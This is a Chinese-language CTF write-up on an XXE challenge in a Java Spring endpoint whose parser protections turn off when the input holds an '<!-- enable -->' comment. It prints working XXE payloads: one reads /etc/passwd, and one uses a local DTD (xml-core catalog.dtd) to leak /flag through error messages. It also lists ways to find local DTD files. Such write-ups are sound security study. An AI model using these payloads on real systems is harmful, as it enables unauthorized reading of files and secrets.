XXE小思路
前言
最近碰到一个xxe的题,某大佬出的xxe的java题,一个骚思路
##思路学习过程
部分关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| @PostMapping(value = "/import/xml", produces = MediaType.TEXT_HTML_VALUE) public String importXml(@RequestParam("xml") String xml, Model model) throws Exception {
if (xml != null && xml.length() > 10000) { xml = xml.substring(0, 10000); } boolean enable = xml != null && xml.contains("<!-- enable -->");
javax.xml.parsers.DocumentBuilderFactory factory = javax.xml.parsers.DocumentBuilderFactory.newInstance();
if (!enable) { try { factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); } catch (Exception ignored) { } factory.setXIncludeAware(false); factory.setExpandEntityReferences(false); }
javax.xml.parsers.DocumentBuilder builder = factory.newDocumentBuilder(); try { org.w3c.dom.Document doc = builder.parse(new java.io.ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8))); String title = doc.getElementsByTagName("title").item(0) != null ? doc.getElementsByTagName("title").item(0).getTextContent() : ""; String content = doc.getElementsByTagName("content").item(0) != null ? doc.getElementsByTagName("content").item(0).getTextContent() : ""; model.addAttribute("title", title); model.addAttribute("content", content); return "import_result"; } catch (Exception e) { java.io.StringWriter sw = new java.io.StringWriter(); java.io.PrintWriter pw = new java.io.PrintWriter(sw); e.printStackTrace(pw); pw.flush(); model.addAttribute("title", "解析错误"); model.addAttribute("content", sw.toString()); return "import_result"; } }
|
从功能来看就是一个xml的解析器
1
| 要求传入的信息有<!-- enable -->能够绕过防护
|
相关payload加一个
即可绕过
比如
1 2 3 4 5 6 7 8
| <!-- enable --> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <title>&xxe;</title> <content>&xxe;</content> </root>
|
但是在搜索发现过程中大哥告诉我这不是预期解,他本身设计了一个不出网的xxe利用,想要利用加载本地xxe来实现读取flag
本地加载xxe,需要本地寻找xxe
于是看到了这篇文章
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
- 枚举常见路径:使用文件读取功能尝试常见DTD路径
- 查看错误信息:如果DTD文件不存在,错误信息可能包含路径信息
- 根据应用类型:WebSphere、Tomcat、WebLogic等都有特定的DTD位置
- 查看系统文档:某些应用会在文档中列出DTD位置
对于这个题找到了
1
| /usr/share/xml/schema/xml-core/catalog.dtd
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" ?> <!-- enable --> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/schema/xml-core/catalog.dtd">
<!ENTITY % local.group.mix ')+> <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'>
%local_dtd; ]>
|
利用错误信息读取文件(推荐)
由于代码会打印异常堆栈,我们可以故意构造一个会导致错误的实体引用,让文件内容出现在错误信息中:
1 2 3 4 5 6 7 8
| <!-- enable --> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <title>&xxe;</title> <content>&xxe;</content> </root>
|